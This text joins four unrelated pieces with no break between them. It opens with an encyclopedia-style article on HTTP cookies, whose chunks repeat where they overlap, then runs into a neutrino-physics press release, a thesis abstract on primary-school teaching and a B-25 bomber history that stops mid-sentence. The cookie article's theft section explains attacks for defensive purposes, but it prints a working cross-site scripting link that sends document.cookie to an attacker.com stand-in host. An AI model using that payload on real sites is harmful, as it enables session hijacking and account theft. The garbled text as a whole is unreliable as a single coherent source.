the server for the given domain and path. if not specified, they default to the domain and path of the object that was requested. an example of set - cookie directives from a website after a user logged in : the first cookie lsid has default domain docs. foo. com and path / accounts, which tells the browser to use the cookie only when requesting pages contained in docs. foo. com / accounts. the other 2 cookies ssid would be sent back by the browser while requesting any subdomain in. foo. com on any path, for example cookies can only be set on the top domain and its sub domains. setting cookies on www. bar. com will not work for security reasons. expires and max - age the expires directive tells the browser when to delete the cookie. derived from the format used in rfc 1123, the date is specified in the form of “ wdy, dd mon yyyy hh : mm : ss gmt ”, indicating the exact date / time this cookie will expire. as an alternative to setting cookie expiration as an absolute date / time, rfc 6265 allows the use of the max - age attribute to set the cookie ’ s expiration as an interval of seconds in the future, relative to the time the browser received the cookie. an example of set - cookie directives from a website after a user logged in : the first cookie lu is set to expire sometime in 15 - jan - 2013 ; it will be used by the client browser until that time. the second cookie made _ write _ conn does not have an expiration date, making it a session cookie. it will be deleted after the user closes their browser. the third cookie reg _ fb _ gate has its value changed to deleted, with an expiration time in the past. the browser will delete this cookie right away – note that cookie will only be deleted when the domain and path attributes in the set - cookie field match the values used when the cookie was created. secure and httponly the secure and httponly attributes do not have associated values. rather, the presence of the attribute names indicates that the secure and httponly behaviors are specified. browser settings most modern browsers support cookies and allow the user to disable them. the following are common options : - to enable or disable cookies completely, so that they are always accepted or always blocked. - some browsers incorporate a cookie manager for the user to see and selectively


and allow the user to disable them. the following are common options : - to enable or disable cookies completely, so that they are always accepted or always blocked. - some browsers incorporate a cookie manager for the user to see and selectively delete the cookies currently stored in the browser. - by default, internet explorer allows only third - party cookies that are accompanied by a p3p " cp " ( compact policy ) field. advertising companies use third - party cookies to track a user across multiple sites. in particular, an advertising company can track a user across all pages where it has placed advertising images or web bugs. knowledge of the pages visited by a user allows the advertising company to target advertisements to the user ' s presumed preferences. the possibility of building a profile of users is considered by some a potential privacy threat, especially when tracking is done across multiple domains using third - party cookies. for this reason, some countries have legislation about cookies. the united states government has set strict rules on setting cookies in 2000 after it was disclosed that the white house drug policy office used cookies to track computer users viewing its online anti - drug advertising. in 2002, privacy activist daniel brandt found that the cia had been leaving persistent cookies on computers which had visited its website. when notified it was violating policy, cia stated that these cookies were not intentionally set and stopped setting them. on december 25, 2005, brandt discovered that the national security agency ( nsa ) had been leaving two persistent cookies on visitors ' computers due to a software upgrade. after being informed, the national security agency immediately disabled the cookies. eu cookie law in 2002, the european union launched the directive on privacy and electronic communications, a policy requiring end users ’ consent for the placement of cookies, and similar technologies for storing and accessing information on users ’ equipment. in particular, article 5 paragraph 3 mandates that storing data in a user ’ s computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storing operation. directive 95 / 46 / ec defines ‘ the data subject ’ s consent ’ as : “ any freely given specific and informed indication of his wishes by which the data subject signifies his agreement to personal data relating to him being processed ”. consent must involve some form of communication where individuals knowingly indicate their acceptance. in 2009, the policy was amended by directive 2009 / 136 / ec, which included a change to article 5 paragraph 3. instead of having an option for users to opt out of cookie storage,


form of communication where individuals knowingly indicate their acceptance. in 2009, the policy was amended by directive 2009 / 136 / ec, which included a change to article 5 paragraph 3. instead of having an option for users to opt out of cookie storage, the revised directive requires consent to be obtained for cookie storage. in june 2012, european data protection authorities adopted an opinion which clarifies that some cookie users might be exempt from the requirement to gain consent : - some cookies can be exempted from informed consent under certain conditions if they are not used for additional purposes. these cookies include cookies used to keep track of a user ’ s input when filling online forms or as a shopping cart. - first party analytics cookies are not likely to create a privacy risk if websites provide clear information about the cookies to users and privacy safeguards. the industry ’ s response has been largely negative. some viewed the directive as an infernal doomsday machine that will " kill online sales " and " kill the internet ". robert bond of the law firm speechly bircham describes the effects as " far - reaching and incredibly onerous " for " all uk companies. " simon davis of privacy international argues that proper enforcement would " destroy the entire industry. " third - party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user ' s web experience. many advertising operators have an opt - out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising. cookie theft and session hijacking | | this section has multiple issues. please help improve it or discuss these issues on the talk page. listed here are various scenarios of cookie theft and user session hijacking ( even without stealing user cookies ) which work with websites which rely solely on http cookies for user identification. network eavesdropping traffic on a network can be intercepted and read by computers on the network other than the sender and receiver ( particularly over unencrypted open wi - fi ). this traffic includes cookies sent on ordinary unencrypted http sessions. where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including http cookies as well as the entire contents of the conversations, for the purpose of a man - in - the - middle attack. an attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim ’ s bank account. this issue can be resolved by


the purpose of a man - in - the - middle attack. an attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim ’ s bank account. this issue can be resolved by securing the communication between the user ' s computer and the server by employing transport layer security ( https protocol ) to encrypt the connection. a server can specify the secure flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as an ssl connection. publishing false sub - domain – dns cache poisoning via dns cache poisoning, an attacker might be able to cause a dns server to cache a fabricated dns entry, say f12345. www. example. com with the attacker ’ s server ip address. the attacker can then post an image url from his own server ( for example, http : / / f12345. www. example. com / img _ 4 _ cookie. jpg ). victims reading the attacker ’ s message would download this image from f12345. www. example. com is a sub - domain of www. example. com, victims ’ browsers would submit all example. com - related cookies to the attacker ’ s server ; the compromised cookies would also include httponly cookies. [ clarification needed ] this vulnerability is usually for internet service providers to fix, by securing their dns servers. but it can also be mitigated if www. example. com is using secure cookies. victims ’ browsers will not submit secure cookies if the attacker ’ s image is not using encrypted connections. if the attacker chose to use https for his img _ 4 _ cookie. jpg download, he would have the challenge of obtaining an ssl certificate for f12345. www. example. com from a certificate authority. without a proper ssl certificate, victims ’ browsers would display ( usually very visible ) warning messages about the invalid certificate, thus alerting victims as well as security officials from www. example. com ( the latter would require someone to inform the security officials ). as an example, an attacker may post a message on www. example. com with the following link : < a href = " # " onclick = " window. location = ' http : / / attacker. com / stole. cgi? text = ' + escape ( document. cookie ) ; return false ; " > click here


: < a href = " # " onclick = " window. location = ' http : / / attacker. com / stole. cgi? text = ' + escape ( document. cookie ) ; return false ; " > click here! < / a > when another user clicks on this link, the browser executes the piece of code within the onclick attribute, thus replacing the string document. cookie with the list of cookies of the user that are active for the page. as a result, this list of cookies is sent to the attacker. com server. if the attacker ’ s posting is on https : / / www. example. com / somewhere, secure cookies will also be sent to attacker. com in plain text. cross - site scripting is a constant threat, as there are always some crackers trying to find a way of slipping in script tags to websites. it is the responsibility of the website developers to filter out such malicious code. in the meantime, such attacks can be mitigated by using httponly cookies. these cookies will not be accessible by client side script, and therefore, the attacker will not be able to gather these cookies. cross - site scripting if an attacker was able to insert a piece of script to a page on www. example. com, and a victim ’ s browser was able to execute the script, the script could simply carry out the attack. this attack would use the victim ’ s browser to send http requests to servers directly ; therefore, the victim ’ s browser would submit all relevant cookies, including httponly cookies, as well as secure cookies if the script request is on https. for example, on myspace, samy posted a short message “ samy is my hero ” on his profile, with a hidden script to send samy a “ friend request ” and then post the same message on the victim ’ s profile. a user reading samy ’ s profile would send samy a “ friend request ” and post the same message on this person ’ s profile. then, the third person reading the second person ’ s profile would do the same. pretty soon, this samy worm became one of the fastest spreading worms of all time. this type of attack ( with automated scripts ) would not work if a website had captcha to challenge client requests. cross - site scripting – proxy request in older versions of browsers, there were security holes allowing attackers to script a proxy request by using xmlhttprequest. for example, a victim is


a website had captcha to challenge client requests. cross - site scripting – proxy request in older versions of browsers, there were security holes allowing attackers to script a proxy request by using xmlhttprequest. for example, a victim is reading an attacker ’ s posting on www. example. com, and the attacker ’ s script is executed in the victim ’ s browser. the script generates a request to www. example. com with the proxy server attacker. com. since the request is for example. com cookies will be sent along with the request, but routed through the attacker ’ s proxy server, hence, the attacker can harvest the victim ’ s cookies. this attack would not work for secure cookie, since secure cookies go with https connections, and its protocol dictates end - to - end encryption, i. e., the information is encrypted on the user ’ s browser and decrypted on the destination server www. example. com, so the proxy servers would only see encrypted bits and bytes. cross - site request forgery for example, bob might be browsing a chat forum where another user, mallory, has posted a message. suppose that mallory has crafted an html image element that references an action on bob ' s bank ' s website ( rather than an image file ), e. g., if bob ' s bank keeps his authentication information in a cookie, and if the cookie hasn ' t expired, then the attempt by bob ' s browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without bob ' s approval. besides privacy concerns, cookies also have some technical drawbacks. in particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the representational state transfer ( rest ) software architectural style. inaccurate identification if more than one browser is used on a computer, each usually has a separate storage area for cookies. hence cookies do not identify a person, but a combination of a user account, a computer, and a web browser. thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies. likewise, cookies do not differentiate between multiple users who share the same user account, computer, and browser. inconsistent state on client and server inconsistent support by devices the problem with using mobile cookies is that most devices do not implement cookies ; for example, nokia only supports cookies on 60 % of its devices, while motorola only supports cookies on


computer, and browser. inconsistent state on client and server inconsistent support by devices the problem with using mobile cookies is that most devices do not implement cookies ; for example, nokia only supports cookies on 60 % of its devices, while motorola only supports cookies on 45 % of its phones. in addition, some gateways and networks ( verizon, alltel, and metropcs ) strip cookies, while other networks simulate cookies on behalf of their mobile devices. there are also dramatic variations in the wireless markets around the world ; for example, in the united kingdom 94 % of the devices support wireless cookies, while in the united states only 47 % support them. the support for cookies is greater in the far east, where wireless devices are more commonly used to access the web. mobile cookies is a practice already in place in japan, so that whether watching a podcast, a video, tv, clicking on a loan calculator or a gps map — on almost all wireless devices — cookies can be set for tracking and capturing wireless behaviors. some of the operations that can be done using cookies can also be done using other mechanisms. ip address some users may be tracked based on the ip address of the computer requesting the page. the server knows the ip address of the computer running the browser or the proxy, if any is used, and could theoretically link a user ' s session to this ip address. ip addresses are, generally, not a reliable way to track a session or identify a user. many computers designed to be used by a single user, such as office pcs or home pcs, are behind a network address translator ( nat ). this means that several pcs will share a public ip address. furthermore, some systems, such as tor, are designed to retain internet anonymity, rendering tracking by ip address impractical, impossible, or a security risk. url ( query string ) a more precise technique is based on embedding information into urls. the query string part of the url is the one that is typically used for this purpose, but other parts can be used as well. the java servlet and php session mechanisms both use this method if cookies are not enabled. this method consists of the web server appending query strings to the links of a web page it holds when sending it to a browser. when the user follows a link, the browser returns the attached query string to the server. query strings used in this way and cookies are very similar, both being arbitrary pieces of information chosen by the server and sent back by


sending it to a browser. when the user follows a link, the browser returns the attached query string to the server. query strings used in this way and cookies are very similar, both being arbitrary pieces of information chosen by the server and sent back by the browser. however, there are some differences : since a query string is part of a url, if that url is later reused, the same attached piece of information is sent to the server. for example, if the preferences of a user are encoded in the query string of a url and the user sends this url to another user by e - mail, those preferences will be used for that other user as well. moreover, even if the same user accesses the same page two times, there is no guarantee that the same query string is used in both views. for example, if the same user arrives to the same page but coming from a page internal to the site the first time and from an external search engine the second time, the relative query strings are typically different while the cookies would be the same. for more details, see query string. other drawbacks of query strings are related to security : storing data that identifies a session in a query string enables or simplifies session fixation attacks, referrer logging attacks and other security exploits. transferring session identifiers as http cookies is more secure. hidden form fields another form of session tracking is to use web forms with hidden fields. this technique is very similar to using url query strings to hold the information and has many of the same advantages and drawbacks ; and if the form is handled with the http get method, the fields actually become part of the url the browser will send upon form submission. but most forms are handled with http post, which causes the form information, including the hidden fields, to be appended as extra input that is neither part of the url, nor of a cookie. this approach presents two advantages from the point of view of the tracker : first, having the tracking information placed in the html source and post input rather than in the url means it will not be noticed by the average user ; second, the session information is not copied when the user copies the url ( to save the page on disk or send it via email, for example ). this method can be easily used with any framework that supports web forms. the downside is that every separate window or tab will initially have an empty window. name ; in times of tabbed browsing this means that individually opened tab


for example ). this method can be easily used with any framework that supports web forms. the downside is that every separate window or tab will initially have an empty window. name ; in times of tabbed browsing this means that individually opened tabs ( initiation by user ) will not have a window name. furthermore window. name can be used for tracking visitors across different websites, making it of concern for internet privacy. in some respects this can be more secure than cookies due to not involving the server, so it is not vulnerable to network cookie sniffing attacks. however if special measures are not taken to protect the data, it is vulnerable to other attacks because the data is available across different websites opened in the same window or tab. http authentication the http protocol includes the basic access authentication and the digest access authentication protocols, which allow access to a web page only when the user has provided the correct username and password. if the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. this information can be used to track the user. see also - dynamic html - local shared object – flash cookies - session beans - session ( computer science ) - session id - web server session management - web storage and dom storage - web visitor tracking - zombie cookie - " http state management mechanism – overview ". ietf. april 2011. - penenberg, adam ; cookie monsters, slate, november 7, 2005. " cookies are not software. they can ' t be programmed, can ' t carry viruses, and can ' t unleash malware to go wilding through your hard drive. " - " new net rules set to make cookies crumble ". bbc. 2011 - 03 - 08. - " sen. rockefeller : get ready for a real do - not - track bill for online advertising ". adage. com. 2011 - 05 - 06. - peng, weihong ; cisna, jennifer ( 2000 ). " http cookies - a promising technology ". proquest. online information review. retrieved 29 march 2013. - vamosi, robert ( 2008 - 04 - 14 ). " gmail cookie stolen via google spreadsheets ". - schwartz, john ( 2001 - 09 - 04 ). " giving web a memory cost its users privacy ". the new york times. - kesan, jey ; and shah, rajiv ; deconstructing code, ssrn. com, chapter


john ( 2001 - 09 - 04 ). " giving web a memory cost its users privacy ". the new york times. - kesan, jey ; and shah, rajiv ; deconstructing code, ssrn. com, chapter ii. b ( netscape ' s cookies ), yale journal of law and technology, 6, 277 – 389 - kristol, david ; http cookies : standards, privacy, and politics, acm transactions on internet technology, 1 ( 2 ), 151 – 198, 2001 doi : 10. 1145 / 502152. 502153 ( an expanded version is freely available at arxiv : cs / 0105018v1 [ cs. se ] ) - " press release : netscape communications offers new network navigator free on the internet ". web. archive. org. archived from the original on 2006 - 12 - 07. retrieved 2010 - 05 - 22. - " usenet post by marc andreessen : here it is, world! ". groups. google. com. 1994 - 10 - 13. retrieved 2010 - 05 - 22. - hardmeier, sandi ( 2005 - 08 - 25 ). " the history of internet explorer ". microsoft. retrieved 2009 - 01 - 04. - jackson, t ( 1996 - 02 - 12 ). " this bug in your pc is a smart cookie ". financial times. - " maintaining session state with cookies ". microsoft developer network. retrieved 22 october 2012. - rouse, margaret ( september 2005 ). " transient cookie ( session cookie ) ". searchsoa. techtarget. retrieved 22 october 2012. - owasp browsers supporting httponly - ietf http state management mechanism – apr, 2011 obsoletes rfc 2965 - bottiger, arvid ( 2011 ). " http - only cookies - brought to you by internet explorer 6 ". - mayer, jonathan. " tracking the trackers : microsoft advertising ". the center for internet and society. retrieved 28 september 2011. - burt, david. " update on the issue of ‘ supercookies ’ used on msn ". retrieved 28 september 2011. - jim manico quoting daniel stenberg, real world cookie length limits - " persistent client state http cookies : preliminary specification ". netscape. c1999. archived from the original on 2007 - 08 - 05. - rfc 2965 – http state management mechanism ( ietf ) - " cookie property ". msdn. microsoft


http cookies : preliminary specification ". netscape. c1999. archived from the original on 2007 - 08 - 05. - rfc 2965 – http state management mechanism ( ietf ) - " cookie property ". msdn. microsoft. retrieved 2009 - 01 - 04. - shannon, ross ( 2007 - 02 - 26 ). " cookies — set and retrieve information about your readers ". htmlsource. retrieved 2009 - 01 - 04. - innovative, php ( 2011 - 09 - 02 ). " sharing cookies between multiple domains ". innovativephp. retrieved 2011 - 09 - 02. - rfc 2616 - hypertext transfer protocol - http / 1. 1 - symantec internet security threat report : trends for july – december 2007 ( executive summary ) ( pdf ) xiii. symantec corp. april 2008. pp. 1 – 3. retrieved may 11, 2008. - whalen, david ( june 8, 2002 ). " the unofficial cookie faq v2. 6 ". cookie central. retrieved 2009 - 01 - 04. - " 3rd - party cookies, dom storage and privacy ". grack. com : matt mastracci ' s blog. january 6, 2010. retrieved 2010 - 09 - 20. - " how to manage cookies in internet explorer 6 ". microsoft. december 18, 2007. retrieved 2009 - 01 - 04. - " clearing private data ". firefox support knowledge base. mozilla. 16 september 2008. retrieved 2009 - 01 - 04. - " clear personal information : clear browsing data ". google chrome help. google. retrieved 2009 - 01 - 04. - " clear personal information : delete cookies ". google chrome help. google. retrieved 2009 - 01 - 04. - " site compatibility for firefox 22 ", mozilla developer network, 2013 - 04 - 11 - miyazaki, anthony d. ( 2008 ), “ online privacy and the disclosure of cookie use : effects on consumer trust and anticipated patronage, ” journal of public policy & marketing, 23 ( spring ), 19 – 33 - " cia caught sneaking cookies ". cbs news. 2002 - 03 - 20. - " spy agency removes illegal tracking files ". the new york times. 2005 - 12 - 29. - " eu cookie directive - directive 2009 / 136 / ec ". jisc legal information. retrieved 31 october 2012. - privacy and electronic communications regulations. information commissioner ' s office. 2012. - directive 95 / 46 / ec


12 - 29. - " eu cookie directive - directive 2009 / 136 / ec ". jisc legal information. retrieved 31 october 2012. - privacy and electronic communications regulations. information commissioner ' s office. 2012. - directive 95 / 46 / ec of the european parliament and of the council of 24 october 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data. 1995 - 11 - 23. pp. p. 0031 – 0050. retrieved 31 october 2012. - " new eu cookie law ( e - privacy directive ) ". retrieved 31 october 2012. - " eu cookie law : stop whining and just get on with it ". retrieved 31 october 2012. - " a loophole big enough for a cookie to fit through ". bits. the new york times. retrieved 31 january 2013. - pegoraro, rob ( july 17, 2005 ). " how to block tracking cookies ". washington post. p. f07. retrieved 2009 - 01 - 04. - wired hack obtains 9 bogus certificates for prominent websites - fielding, roy ( 2000 ). " fielding dissertation : chapter 6 : experience and evaluation ". retrieved 2010 - 10 - 14. - tilkov, stefan ( july 2, 2008 ). " rest anti - patterns ". infoq. retrieved 2009 - 01 - 04. - mena, jesus ( 2011 ). machine learning forensics for law enforcement, security, and intelligence. boca raton, fl : crc press ( taylor & francis group ). isbn 9 - 781 - 4398 - 6069 - 4. - " thomasfrank. se ". thomasfrank. se. retrieved 2010 - 05 - 22. - rfc 6265 – the official specification for http cookies - http cookies - mozilla developer network - using cookies via ecmascript - mozilla developer network - how internet cookies work at howstuffworks - information about cookies from microsoft - cookies at the electronic privacy information center ( epic ) - taking the byte out of cookies : privacy, consent, and the web ( pdf ) - web handbook – cookies from delivery and transformation group, cabinet office, uk - cookie - based counting overstates size of web site audiences at comscore - don ’ t tread on our cookies – the web privacy manifesto at pbs - mozilla knowledge - base : cookies - avg blogs : what are cookies


a new kind of neutrino transformation esnet helps scientists discover how neutrinos flavor - shift march 8, 2012 neutrinos, the wispy particles that flooded the universe in the earliest moments after the big bang, are continually produced in the hearts of stars and other nuclear reactions. untouched by electromagnetism, they respond only to the weak nuclear force and even weaker gravity, passing mostly unhindered through everything from planets to people. years ago scientists also discovered another hidden talent of neutrinos. although they come in three basic “ flavors ” — electron, muon and tau — neutrinos and their corresponding antineutrinos can transform from one flavor to another while they are traveling close to the speed of light. how they do this has been a long - standing mystery. but some new, and unprecedentedly precise, measurements from the multinational daya bay neutrino experiment are revealing how electron antineutrinos “ oscillate ” into different flavors as they travel. this new finding from daya bay opens a gateway to a new understanding of fundamental physics and may eventually solve the riddle of why there is far more ordinary matter than antimatter in the universe today. the international collaboration of researchers is made possible by advanced networking and computing facilities. in the u. s., the department of energy ’ s high - speed science network, esnet, speeds data to the national energy research scientific computing center ( nersc ) where it is analyzed, stored and made available to researchers via the web. both facilities are located at the doe ’ s lawrence berkeley national laboratory ( berkeley lab ). nuclear reactors of the china guangdong nuclear power group at daya bay and nearby ling ao produce millions of quadrillions of elusive electron antineutrinos every second. the six massive detectors buried in the mountains adjacent to the powerful reactors, make up the daya bay experiment. researchers in the collaboration count the number of electron antineutrinos detected in the halls nearest the daya bay and ling ao reactors and calculate how many would reach the detectors in the far hall if there were no oscillation. the number that apparently vanishes on the way ( oscillating into other flavors, in fact ) gives the value of theta one - three, written θ13. shortly after experimental data is collected, it travels across the pacific ocean via the national science foundation ’ s gloriad network, which connects to esnet backbone in seattle, washington. from seattle, esnet carries


theta one - three, written θ13. shortly after experimental data is collected, it travels across the pacific ocean via the national science foundation ’ s gloriad network, which connects to esnet backbone in seattle, washington. from seattle, esnet carries the data to the nersc in oakland, california. at nersc the data is processed in real - time on the pdsf cluster, archived in the high performance storage system ( hpss ) and shared with collaborators around the world via the daya bay offline data monitor, a web - based “ science gateway ” hosted by nersc. the first daya bay results show that θ13, once feared to be near zero, instead is “ comparatively huge, ” remarks luk kam - biu luk of the berkeley lab and the university of california at berkeley. luk is co - spokesperson of the daya bay experiment and heads u. s. participation. “ what we didn ’ t expect was the sizable disappearance, equal to about six percent. although disappearance has been observed in another reactor experiment over large distances, this is a new kind of disappearance for the reactor electron antineutrino, ” he explained. " this is a new type of neutrino oscillation, and it is surprisingly large, " says yifang wang of china ' s institute of high energy physics ( ihep ), co - spokesperson and chinese project manager of the daya bay experiment. " our precise measurement will complete the understanding of the neutrino oscillation and pave the way for the future understanding of matter - antimatter asymmetry in the universe. " computing ’ s crucial role as a united states tier - 1 facility for the daya bay neutrino experiment, nersc is the only site where all of the raw, simulated and derived data are analyzed and archived. from nersc, esnet carries dayabay data to brookhaven national laboratory ( bnl ), which serves as a tier - 2 us facility for the experiment. bnl is responsible for secondary data processing of daya bay data, as well as some archiving. “ this experiment could not have been done without nersc and esnet, ” says craig tull, of the berkeley lab ’ s computational research division. “ over the last four to five years we ’ ve been doing simulations and analysis on pdsf, transferring and archiving data on hpss, and accessing results on the science gateway. the experiment could not have been done with


computational research division. “ over the last four to five years we ’ ve been doing simulations and analysis on pdsf, transferring and archiving data on hpss, and accessing results on the science gateway. the experiment could not have been done with out these resources and the very capable and conscientious staff helping us. ” as the us manager of software and computing for the daya bay neutrino experiment, tull led the overall computing effort including development of a software framework, called nuwa, which allows researchers all over the world to collaborate in analyzing this experimental data, and of the spade - driven data management and processing pipeline. he also coordinated with esnet and nersc staff to ensure that daya bay data could be processed, analyzed and archived in real time, providing scientists immediate insight into the quality of physics data recorded and the performance of detectors. “ the software and computing components of the daya bay neutrino experiment have been extremely crucial to science, ” says tull. “ thanks to the computing expertise at berkeley lab, we were able to see antineutrinos with nuwa in the first filled detectors within 24 hours. we were able to see an anti - neutrino deficit in the far hall within days. and finally, we have been able to extract a high - quality θ13 value within only 75 days of start of far - hall running. ” " this is really remarkable, " says wenlong zhan, vice president of the chinese academy of sciences and president of the chinese physical society. " we hoped for a positive result when we decided to fund the project, but we never imagined it could come so quickly. " " exemplary teamwork among the partners has led to this outstanding performance, " says james siegrist, doe associate director of science for high energy physics. " these notable first results are just the beginning for the world ' s foremost reactor neutrino experiment. " the daya bay collaboration consists of scientists from the following countries and regions : china, the united states, russia, the czech republic, hong kong, and taiwan. the chinese effort is led by co - spokesperson, chief scientist, and project manager yifang wang of the institute of high energy physics, and the u. s. effort is led by co - spokesperson kam - biu luk and project and operations manager william edwards, both of berkeley lab and uc berkeley, and by chief scientist steve kettell of brookhaven. esnet provides the high - bandwidth, reliable connections that link scientists


mitchell - barrett, rhonda ( 2010 ) an analysis of the storyline method in primary school ; its theoretical underpinnings and its impact on pupils ’ intrinsic motivation. doctoral thesis, durham university. this study explores the relationship between the scottish storyline teaching method and pupils ’ levels of motivation when engaged in a storyline topic. it also examines the theoretical underpinnings for storyline drawn from constructivism, progressive education, drama methodology and intrinsic motivation. storyline as a pedagogy emerged in scotland during the late 1960s, as a means to support primary school teachers in teaching a topic based curriculum. storyline as a teaching methodology has been widely adopted across europe and america and in these countries, the method continues to grow in popularity. in order to meet the demands of the scottish ‘ curriculum for excellence ’, there was recently a storyline revival in scotland. yet in england, storyline remains little known or virtually unheard of. however, with changing curriculum demands, teachers are searching for a pedagogy to teach topic based, cross curricular learning themes and as this paper will demonstrate, the storyline method presents one such approach. for the purposes of this study, pupils ’ levels of intrinsic motivation were attained using an intrinsic motivation itemised questionnaire and the views and opinions of a sample group of pupils were gained through semi - structured interviews. this blend of data provides an insight into the scoring of pupils ’ motivational levels and also their thoughts and experiences of the storyline method. this research was then viewed within the wider context of the primary school curriculum, making links to recent developments in education policy making, and considering storyline as a methodology to meet the needs of an unknown future curriculum. | item type : | | thesis ( doctoral ) | | award : | | doctor of education | | keywords : | | storyline, intrinsic motivation, extrinsic motivation, constructivism, progressive education, drama methodology | | faculty and department : | | faculty of social sciences and health > education, school of | | copyright : | | copyright of this thesis is held by the author | | deposited on : | | 07 dec 2010 15 : 17 |


navy lieutenant edgar g. osborne looked at his watch. it was 8 : 20 in the morning of april 18, 1942. the flight deck officer flagged lt. col. doolittle in the lead aircraft to take off into the 40 knots headwind. one after one the 16 aircraft accelerated down the deck of the carrier, reaching takeoff speed in just 450 feet. dipping slightly off the end of the bobbing runway, they wobbled skywards for their nearly 700 mile voyage to the japanese empire. the doolittle raid was underway. the north american aviation b - 25 mitchell was reputedly the best medium bomber of world war ii. it was built in larger numbers than any other us twin - engine bomber, it served on all fronts and was supplied to the soviet union, holland, australia, brazil and the uk. in 1937, us army materiel division wanted a twin - engine bomber with longer range and the ability to carry higher payloads than the existing single - engine types in service. they wanted it to fly 1200 miles at 200 mph / 174 kts, carrying 1200 pounds of bombs. the circular proposal was sent out in march 1938. proposals were submitted by boeing - stearman, bell, douglas, martin and north american aviation. north american ' s design na - 40 was selected, and in january 1939 it flew for the first time. except for the unimpressive xb - 21 dragon, north american aviation had previous experience with neither twin - engine designs nor bombers. the crew of five was considered large for an aircraft in the attack role. the two pilots were seated in tandem up front, the radio operator and gunner were in the aft fuselage and the bombardier / navigator ' s office was in the all - glass nose. armament consisted of three 0. 30in / 7. 62mm machine guns ; one in the nose, one in a dorsal turret behind the cockpit and one which could be moved between different cut - outs in the aft fuselage. compared to the ultimate version of the b - 25, this armament was akin to shooting rubber bands. the engines were a pair of pratt & whitney r - 1830s rated at 1100hp each, driving two twelve foot three blade propellers. on january 29, 1939, the na - 40 flew for the first time. behind the controls was north american test pilot paul balfour. among the many things uncovered during the first test flights was the fact that the na - 40 was seriously underpowered. in february 1939 the pratt & whitney engines were replaced by wright r - 2600 double cyclones


controls was north american test pilot paul balfour. among the many things uncovered during the first test flights was the fact that the na - 40 was seriously underpowered. in february 1939 the pratt & whitney engines were replaced by wright r - 2600 double cyclones. each of these fourteen cylinder air - cooled radial monsters yielded 1600hp, enough to propel the aircraft to 286 mph / 249 knots at 5000 ft. after the engine switch, the designation changed to na - 40b. on april 11, 1939, the na - 40b crashed during an engine - out test. although the crew escaped injury, the aircraft was completely destroyed by fire. even though the accident was found not to be caused by the aircraft, the us army air corps ( usaac ) decided not to proceed with the north american design. the order went to douglas aircraft company and their db - 7 model instead. it became the douglas a - 20 havoc in usaaf service. north american ' s next attempt in march 1939 the army air corps issued a new proposal for the design of a medium bomber. north american took the na - 40b design, improved it and submitted it as na - 62. the new design was slightly larger, could carry more payload and had greater range. the tandem cockpit of the na - 40b was replaced by a side - by - side cockpit, thus changing the entire nose layout of the aircraft. the na - 62 retained its crew of five and got an extra 0. 50in / 12. 7mm machine gun in the tail. on august 10, 1939, the us army air corps ordered 184 na - 62s directly off the drawing board. its official designation became b - 25 mitchell. the idea for the name came from lee atwood, north american ' s vice president and chief engineer the b - 25 was named after colonel william c. " billy " mitchell who was an outspoken advocate for air power. in the 1920 ' s, the take on aircraft was that they were best suited for observation. colonel mitchell opposed this view, arguing for air power in its own right. he was court - martialed for insubordination because of this. he was however ultimately proven right, and posthumously promoted to brigadier general. the b - 25 was accepted by the us army in february 1941. one of the first b - 25s ever built was modified into general henry h. " hap " arnold ' s personal transport. this particular aircraft is still airworthy today, carrying the us civil registration number n2825b. it was also owned


of the first b - 25s ever built was modified into general henry h. " hap " arnold ' s personal transport. this particular aircraft is still airworthy today, carrying the us civil registration number n2825b. it was also owned by howard hughes at one time. the very first b - 25 built was retained by north american as a company transport. it had seats, windows and other civilian conveniences fitted. it was named whiskey express and served naa until an unfortunate belly landing in 1945 which saw it off to the scrap heap. in february 1941, the b - 25a emerged from the factory with crew armour and self - sealing fuel tanks. the engines didn ' t change though, resulting in a slight speed and range penalty on the mitchell. some of the 40 b - 25as built were assigned to coastal defence, one claiming the sinking of a japanese submarine off california on december 24, 1941. the defensive armament of the mitchell was found to be less than effective. 0. 30in / 7. 62mm aircraft guns just doesn ' t pack enough punch unless they have a ridicolously high rate of fire ( as evidenced by the 1960s ' multi - barreled miniguns ), so the waist and tailguns were replaced with two dual 0. 50in / 12. 7mm turrets. one turret was on the top of the rear fuselage and manned. the other was a retractable belly turret operated and sighted remotely from the cockpit. the belly turret was usually removed in the field because of its poor design. to fire the remote controlled guns, the gunner had to kneel down and look through a periscope system while handling the dual firing controls, becoming dizzy and nauseous in the process. it took almost a full minute to lower the turret, and sometimes it wouldn ' t even come back up again. a man could learn to play the fiddle good enough for carnegie hall before he could learn to fire that thing. - colonel doolittle describing the ventral gun turret the final b - 25b was delivered in january 1942, completing the original usaaf contract for 184. naa delivered 23 b - 25bs to the british raf as " micthell mark i " as well as a small number to the soviets. 40 b - 25bs originally destined for the dutch air force were diverted for usaaf use. the sixteen mitchells that took off from uss hornet for what became known as the doolittle raid were b - 25bs. variants b - 25c and b - 25


with 3000 pounds of bombs. to give the crew a little convenience on long trips at high altitudes, a cabin heater was also put in. in addition, a lot of other minor changes and combat modifications were done both in the field and in naa ' s factories as combat reports came back. the us marine corps also used variants of the mitchell called pbj - 1c and pbj - 1d. these were significantly modified b - 25c and b - 25d mitchells. most importantly, they sometimes had a search radar in the nose and the ability to carry mines, depth charges and torpedoes. later usmc mitchells had provisions for ten hvar ( high velocity air rocket ) rockets. general kenney and colonel " pappy " gunn two usaaf officers influential on the mitchell ' s further developments were major general george c. kenney and colonel paul i. " pappy " gunn. kenney was in charge of the pacific 5th air force under general douglas macarthur. together with colonel gunn he devised several mitchell modification schemes which gave the aircraft terrifying firepower in ground attacks. the lone 50 caliber in the nose was substituted by colonel gunn and naa for a devastating set - up ; four caliber 50 guns sticking out of the nose and two or four more in " blister packs " under the cockpit. eight 0. 50in / 12. 7mm guns firing simultaneously at a target pretty much guarantees something will happen to it. together with the added firepower also came the tactics of anti - shipping skip bombing. general kenney was not your 